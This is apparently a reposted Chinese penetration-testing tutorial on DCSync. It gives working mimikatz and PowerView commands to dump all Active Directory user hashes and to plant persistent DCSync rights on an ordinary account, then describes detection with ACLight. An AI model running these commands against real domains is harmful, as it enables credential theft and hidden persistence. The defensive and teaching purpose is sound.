26

域渗透——DCSync

 4 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


DCSync是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法

0x01 简介


本文将要介绍以下内容:

  • 利用DCSync导出域内所有用户hash的方法
  • 利用DCSync在域内维持权限的方法
  • 自动化检测DCSync后门的方法

0x02 利用DCSync导出域内所有用户hash的方法


DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

利用条件:

获得以下任一用户的权限:

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

利用原理:

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

参考资料: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

实现代码:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

利用方法:

1.使用mimikatz

导出域内所有用户的hash:

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内administrator帐户的hash:

mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2.powershell实现

https://gist.github.com/monoxgas/9d238accd969550136db

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

注:

获得了域内用户的hash后,进一步利用可参考之前的文章:

《域渗透——Pass The Hash的实现》

《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》

《域渗透——Pass The Hash & Pass The Key》

0x03 利用DCSync在域内维持权限的方法


利用条件:

获得以下任一用户的权限:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

利用原理:

向域内的一个普通用户添加如下三条ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限

实现代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

利用方法:

添加ACE的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除ACE的命令:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注:

关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》

使用域用户test1调用DCSync的方法如下:

1.在域内一台登录了test1用户的主机上面,直接使用mimikatz的DCSync功能

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

2.使用runas实现登录test1用户,再使用DCSync

(1)弹出cmd

echo 123456789 | runas /noprofile /user:test\test1 cmd

弹出的cmd下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2)不弹框实现

echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

1.bat的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

同类的工具还有lsrunas、lsrunase和CPAU

3.使用powershell实现登录test1用户,再使用DCSync

(1)弹出cmd

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "cmd.exe" -Credential $cred  

弹出的cmd下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2)不弹框实现

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

使用wmic在本机实现登录用户test1会失败,错误如下:

ERROR:
Description = User credentials cannot be used for local connections

0x04 自动化检测DCSync后门的方法


具有高权限但不在高权限组的用户被称之为Shadow Admin,例如0x03中的域用户test1,仅通过查询高权限组的成员无法发现域内的Shadow Admin

检测原理:

枚举Active Directory中所有用户的ACL,标记出特权帐户

实现代码:

https://github.com/cyberark/ACLight

利用条件:

  • Powershell v3.0
  • 域内普通用户权限

检测方法:

执行项目中的Execute-ACLight2.bat

生成三个文件:

  • Privileged Accounts - Layers Analysis.txt
  • Privileged Accounts Permissions - Final Report.csv
  • Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户

经测试,ACLight能够检测出被添加DCSync权限的用户test1

0x05 小结


本文介绍了域渗透中DCSync的利用和自动化检测的方法,站在防御的角度,建议使用ACLight对域环境的用户ACL进行检测


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK